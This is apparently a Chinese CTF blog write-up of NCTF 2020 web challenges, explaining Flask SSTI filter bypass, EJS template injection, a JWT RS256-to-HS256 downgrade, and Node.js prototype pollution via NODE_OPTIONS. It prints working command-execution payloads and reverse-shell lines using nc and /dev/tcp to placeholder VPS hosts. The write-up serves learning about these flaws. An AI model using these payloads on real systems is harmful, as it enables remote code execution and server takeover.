CTF | 2020 NCTF/NJUPTCTF 部分WriteUp


引言

一年一度的 NCTF 又来了。

刚刚过去的这周末比赛有点多,以至于打起来有点佛系。

南邮的师傅们出题很不错,嗯,值得被锤

期待了半天发现没有真正的 Misc 题,有亿点点难受,没办法只能硬肝 Web 题了,太难顶了。

这里就写一下我做的几道题的 WriteUp 好了。 (顺便吐槽一下


Web

你就是我的master吗

来签个到叭~

备用地址:http://42.192.72.11:10001~10007

Flask SSTI.

\x5f 来替代 _,过滤掉的关键词用 "" 双引号拼接就好了。

Payload:

看看当前目录有啥。

http://42.192.72.11:10001/
?name={{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]()}}
早安,打工人<br/>你就是我的app.py
wo_ta_niang_de_bu_shi_ni_de_fla9
吗?<br/><!--   ?name=master  -->

读 flag:

http://42.192.72.11:10001/
?name={{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat *")["read"]()}}

flag

源码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']
    
    for i in blacklist:
        if i in name:
    	    return Template('你真是个小可爱').render()

    t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!--   ?name=master  -->")
    return t.render()

if __name__ == "__main__":
    app.run()

NCTF{[email protected]_niang_dee_jiu_shi_woo_de_master_ma}

这真的是签到题么?

(噢对了,出题人说这还是非预期,emmm

官方 payload 如下,噢是这个意思的 全十六进制 唉。确实差不多。

?name={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}

JS-world

JavaScript can quickly turn our everyday job into hell, and some of them can make us laugh out loud. Have fun.

hint1: script.js has sth useful.

http://42.192.72.11:8090/

首先看了一下后端是 Express,用了 EJS 模板引擎 来渲染页面。

调试分析了一下逻辑,JS 逆向有一点点麻烦。

本来还解混淆了一下,不过后来发现貌似没必要了,也并不需要逆向了。

重点在 /js/script.js 文件里对输入的 code 一些关键字进行过滤以及加密。

debug

关键源码:

function create() {
    var _0x1bef85 = _0x1656
      , _0x23132f = document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')];
    _0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');
    var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
    _0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
    var _0x23601e = new XMLHttpRequest();
    _0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
    _0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
    var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
    return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
    alert('Done.\x0aCheck\x20/templates\x20now.'),
    '';
}

其中,document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')] 就是通过 getElementById 获得输入的数据。

_0x23132f[_0x1bef85('0x5')] 函数为 replace,可见把这些符号给过滤掉了。

之后这段是进行加密。

var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
_0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));

最后调用 XMLHttpRequest 把数据发给后端。

/templates 目录就能看到生成的页面了。

因此做题的话,直接把过滤的这条语句删了就好了。

这里为了方便直接传参了。

把这段放到浏览器 Console 里执行,覆盖掉原来的函数,再传参进去执行就完事。

function create(xx) {
    var _0x1bef85 = _0x1656
      , _0x23132f = xx;
    var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
    _0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
    var _0x23601e = new XMLHttpRequest();
    _0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
    _0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
    var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
    return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
    alert('Done.\x0aCheck\x20/templates\x20now.'),
    '';
}

考虑到是 ejs 模板引擎,应该就是 ejs 注入了。

查了一下,参考 Y1ng 师傅的脚本

payload

<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>

这样可以读取源码。

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cookieParser = require("cookie-parser");
const path = require("path");
const session = require("express-session");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
app.use(express.static('public'));
app.use(session({
    name: 'session',
    secret: 'T0pSsssecRet233#@###',
    store: new FileStore({path: path.join(__dirname, "sessions")}),
    resave: false,
    saveUninitialized: false
}));


app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());


const KEY= process.env.KEY || "r5NmfIzU1uzl6Wp";

const xor = (secretkey,value) => {
    return Array.prototype.slice.call(value).map(  function(chr,index){
        return String.fromCharCode(secretkey[index % secretkey.length].charCodeAt(0) ^ chr.charCodeAt(0))
    }).join('');
}

app.get('/' ,(req,res) => {
    let session=req.session;
    if(session.AccessGranted === undefined){
        session.AccessGranted=true;
    } 
    return res.render('index.html');
})

app.get('/templates', (req,res) => {
    const session = req.session;
    if(session.AccessGranted !== "undefined" && session.AccessGranted === true){
        try{
            let template_path = path.join("templates/", session.id, 'index.html');
            return res.render(template_path);
        }catch(err){
            throw err;
        }
    }else{
        return res.send('Not Accessible Now.');
    }
});


app.post('/create', (req,res) => {
    const session = req.session;
    if(session.AccessGranted !== "undefined" && session.AccessGranted === true){
        try{
            const id = session.id;
            const raw = Buffer.from(req.body.code, 'base64').toString();
            const contents = xor(KEY,raw);
            let template_path = path.join(__dirname , "/views/templates/", id, 'index.html');
            if (!fs.existsSync(path.join(__dirname , "/views/templates/", id))) {
                fs.mkdirSync(path.join(__dirname , "/views/templates/", id));
            }
            fs.writeFileSync(template_path, contents);
            return res.send('done');
        }catch(err){
            throw err;
        }
    }else{
        return res.send('Not Accessible Now.');
    }
});

app.all('*', (req, res) => {
    return res.status(404).send('404 page not found');
});

app.listen(8088, () => console.log('Listening on port 8088'));

而后找 flag 就好了。

var payload = "<%- global.process.mainModule.require('child_process').execSync('ls -alh') %>"

total 92K    
drwxr-xr-x    1 root     root        4.0K Nov 17 11:29 .
drwxr-xr-x    1 root     root        4.0K Nov 21 00:55 ..
-rw-r--r--    1 root     root        2.6K Nov 17 11:10 app.js
drwxr-xr-x   95 root     root        4.0K Nov 17 11:29 node_modules
-rw-r--r--    1 root     root       24.9K Nov 17 11:29 package-lock.json
-rw-r--r--    1 root     root         447 Nov 17 11:10 package.json
drwxr-xr-x    6 root     root        4.0K Nov 17 11:10 public
drwxr-xr-x    1 nobody   nobody     24.0K Nov 21 18:02 sessions
drwxr-xr-x    1 root     root        4.0K Nov 17 11:10 views

var payload = "<%- global.process.mainModule.require('child_process').execSync('ls / -alh') %>"

drwxr-xr-x    1 root     root        4.0K Nov 21 00:55 .
drwxr-xr-x    1 root     root        4.0K Nov 21 00:55 ..
-rwxr-xr-x    1 root     root           0 Nov 21 00:55 .dockerenv
drwxr-xr-x    1 root     root        4.0K Nov 17 11:29 app
drwxr-xr-x    1 root     root        4.0K Nov 16 23:22 bin
drwxr-xr-x    5 root     root         340 Nov 21 06:12 dev
drwxr-xr-x    1 root     root        4.0K Nov 21 00:55 etc
-rw-r--r--    1 node     node          32 Nov 18 01:51 flag.txt
drwxr-xr-x    1 root     root        4.0K Nov 16 23:22 home
drwxr-xr-x    1 root     root        4.0K Nov 16 23:22 lib
drwxr-xr-x    5 root     root        4.0K Apr 23  2020 media
drwxr-xr-x    2 root     root        4.0K Apr 23  2020 mnt
drwxr-xr-x    1 root     root        4.0K Nov 16 23:22 opt
dr-xr-xr-x  357 root     root           0 Nov 21 06:12 proc
drwx------    1 root     root        4.0K Nov 17 11:29 root
drwxr-xr-x    2 root     root        4.0K Apr 23  2020 run
drwxr-xr-x    2 root     root        4.0K Apr 23  2020 sbin
drwxr-xr-x    2 root     root        4.0K Apr 23  2020 srv
dr-xr-xr-x   13 root     root           0 Nov 21 06:12 sys
drwxrwxrwt    1 root     root        4.0K Nov 16 23:22 tmp
drwxr-xr-x    1 root     root        4.0K Nov 16 23:22 usr
drwxr-xr-x    1 root     root        4.0K Apr 23  2020 var

console 里执行

最后读 flag。

var payload = "<%- global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>"

NCTF{Welcome_to_The_js_W0rld:)}

flag

BTW, CVE-2020-7699:NodeJS模块代码注入,express-fileupload npm组件。

D^3CTF 官方WriteUp —— ejs getshell

他的脚本如下。(好家伙,直接 getshell。

{"content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c "/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1"'); //"}}}}

PackageManager_v1.0

Admin uses this api server to manage his package . Definitely no way to RCE.

Please make sure you can exploit it locally fisrt.

all packages are up to date

source code: 链接:https://pan.baidu.com/s/19fm5JUvpjPEUVs528qRDSw 提取码:txai

审阅源码,在 router/index.js 里处理路由。

router.get('/', (req,res) => {
    return res.render('index.html');
});

router.get('/api/package', async(req, res) => {
    let token = req.cookies['auth'];
    if( token == undefined ){
        user={ username : "guest" };
        token=await JWT.sign(user);
        res.cookie('auth', token, { httpOnly: true })
    }
    return res.render('index.html',{ author : package.author , description : package.description });
});

router.post('/api/package',AuthMiddlerware,(req,res)=>{
    let newpackage={};
    newpackage=rep.replicate(newpackage,req.body);
    return res.render('index.html',{ author : newpackage.author , description : newpackage.description }); 
});

//only for self debugging
router.get('/debug/:command', AuthMiddlerware,(req,res) =>{
    let command= req.params.command;
    if(command){
        if (command == 'cwd') {
            let proc = fork('./checkcwd.js', [], {
                 stdio: ['ignore', 'pipe', 'pipe', 'ipc']
            });
            proc.stderr.pipe(res);
            proc.stdout.pipe(res);
            return;
        } 
        return res.send('Invalid command');
    }
    else{
        return res.end('No command specified.');
    }

});

发现 GET 请求 /api/package这里用到了 JWT 鉴权,关键的部分如下。

module.exports = {
    async sign(data) {
        data = Object.assign(data, { pk : publicKey } );
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

可以看到把公钥包含到了 JWT 中,而且解密的时候能够用 HS256 算法,于是参考 Hackergame2020 普通的身份认证器 一题,将 RS256 降级为 HS256(引用自己之前的 WP,讲究

首先获取 cookie。

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0.002iwHbUK25horYZdXwN2c9mxu9ak-258TcHRo2NbCjERbzSZCQea_wfgyuYQkAoE1uurJ0dLCJw4Ozi-iXN6KA92UpgHUX0voNLYtcQENNqMTwyKldUztu6AR9eqdhftLTOLDWuIylqjoPkQA7pFYJXx2yfh5UkEqWW6arFTZs

base64 解密,取头部 Header、载荷 Payload。

{"alg":"RS256","typ":"JWT"}.{"username":"guest","pk":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n","iat":1606037212}

修改加密算法,username改为 admin

再 base64 加密,去除 =,得到

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0

结合公钥计算加密所用的签名(Signature)

$ echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751446f444770486b616f4b4c654a5848486e51554631742b616e580a7169723739596a3376664446544f703671686c3647736e7975634564694349317a336c69644a327064316d6a54376b773369734e5636476b5a576f32692f55590a4f566c6b496157574477744a4d754a75536c453474337a75594d3044594e5446457a53356a462f526c33634e4c534274476c656f626d3171454b482f6541674b0a6f735865666e744679505961766e2f7549514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
(stdin)= 2eeceba7b1828a217aa00ca6795bcaa1ca2f2391e731362b1f5ac1084f11966d

转换为 JWT format。

$ python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2eeceba7b1828a217aa00ca6795bcaa1ca2f2391e731362b1f5ac1084f11966d')).replace('=','')\")"
Luzrp7GCiiF6oAymeVvKocovI5HnMTYrH1rBCE8Rlm0

拼接得到 JWT.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0.Luzrp7GCiiF6oAymeVvKocovI5HnMTYrH1rBCE8Rlm0

把 cookie 里的 auth 修改为如上,成功访问 /debug/cwd,结合 checkcwd.js 提示当前目录为 /app

const cwd=process.cwd();

if(cwd == '/app'){
    console.log('You are in the /app directory.');
}
else{
    console.log('You are not in the /app directory.');
}

cwd

成功利用 POST 请求修改页面内容。

post

接下来考虑 污染原型链

rep.replicate(a, b) 函数是将 b 中的每一项内容递归地赋值给 a

参考 NodeJS child_process 官方文档,以及 从Kibana-RCE对nodejs子进程创建的思考 一文,可以把 Object.env 给污染掉。

参考

node版本>v8.0.0以后支持运行 node 时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include

而 Linux 中的环境变量也会存到文件中,具体在 /proc/self/environ

再把要执行的命令扔另一个env环境变量里,当 fork 执行新进程时就会调用这个环境变量,从而实现 RCE。

Payload:

这里直接反弹 shell 了。

POST http://42.192.72.11:8092/api/package

{"author":"MiaoTony", "description":"meow", "__proto__":{"env":{"AAAA":"require(\"child_process\").exec('nc VPSIP PORT -e /bin/sh')//", "NODE_OPTIONS":"--require /proc/self/environ"}}}

或者

{"author":"MiaoTony", "description":"meow", "__proto__":{"env":{"AAAA":"require(\"child_process\").exec(\"bash -i >& /dev/tcp/VPSIP/PORT 0>&1\")//", "NODE_OPTIONS":"--require /proc/self/environ"}}}

在 VPS 上监听端口。

nc -lvvp PORT

而后访问 http://42.192.72.11:8092/debug/cwd 触发 fork

在根目录下拿到 flag。

flag

NCTF{https://xz.aliyun.com/t/6755_f0rk_p1us_prot0type_p0llution_1quals_RCE...???}

(好巧啊,我们看到了同一篇文章 23333

顺便看了一眼 package.json

package.json

一些奇奇怪怪的东西

要不是权限问题就能把 package.json 给改了(大雾

定时重启

定时重启还是挺文明的。

Misc

彩蛋

关注公众号 回复 flag 就拿到了。

NCTF{We1c0m3_t0_NCTF2020}

(吐槽一句,师傅们空间里转的校内横幅居然多了个 !,就离谱。

校内横幅

NCTF2020问卷调查

NCTF{Let's_look_forward_to_X1CTF}

这就锤爆 fmyy!


小结

总榜

在耗子锅锅和秦师傅的带领下,拿到了总榜第六。

Team H4rdwo3k1ng

🐀哥哥说他太激动了多打了个 Team (然后还改不了 x

rankingWall

呜呜呜,差点就能拿 Xray 高级版 license 了(((还是太菜了啊

reward

总而言之,这次 NCTF 2020 还是挺好玩的,题目质量不错。

就是没有真正的 Misc 题,硬肝 Web 题太难顶了。不过学到了不少倒是了嘿嘿。

下次有机会的话再来玩w~

噢对了,去线下一定锤爆 fmyy!

BTW, 官方 WriteUp 也出来了。

Web 题目环境 GitHub repo: baiyecha404 / My-NCTF2020-Challs

(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
碎碎念 | X-NUCA 2020 全国高校网安联赛总决赛 深圳游记 碎碎念 | X-NUCA 2020 全国高校网安联赛总决赛 深圳游记
这几天去深圳打了个 X-NUCA 全国网安联赛总决赛,趁着还有兴致,就来大概总结一下吧,喵~
2020-12-10
下一篇 
基于Vercel Serverless部署Calc114514 API & Telegram bot 基于Vercel Serverless部署Calc114514 API & Telegram bot
受USTC Hackergame超精巧的数字论证器启发,基于Vercel Serverless实现了Calc114514 API & Telegram bot的部署,这里来记录一下吧。
  目录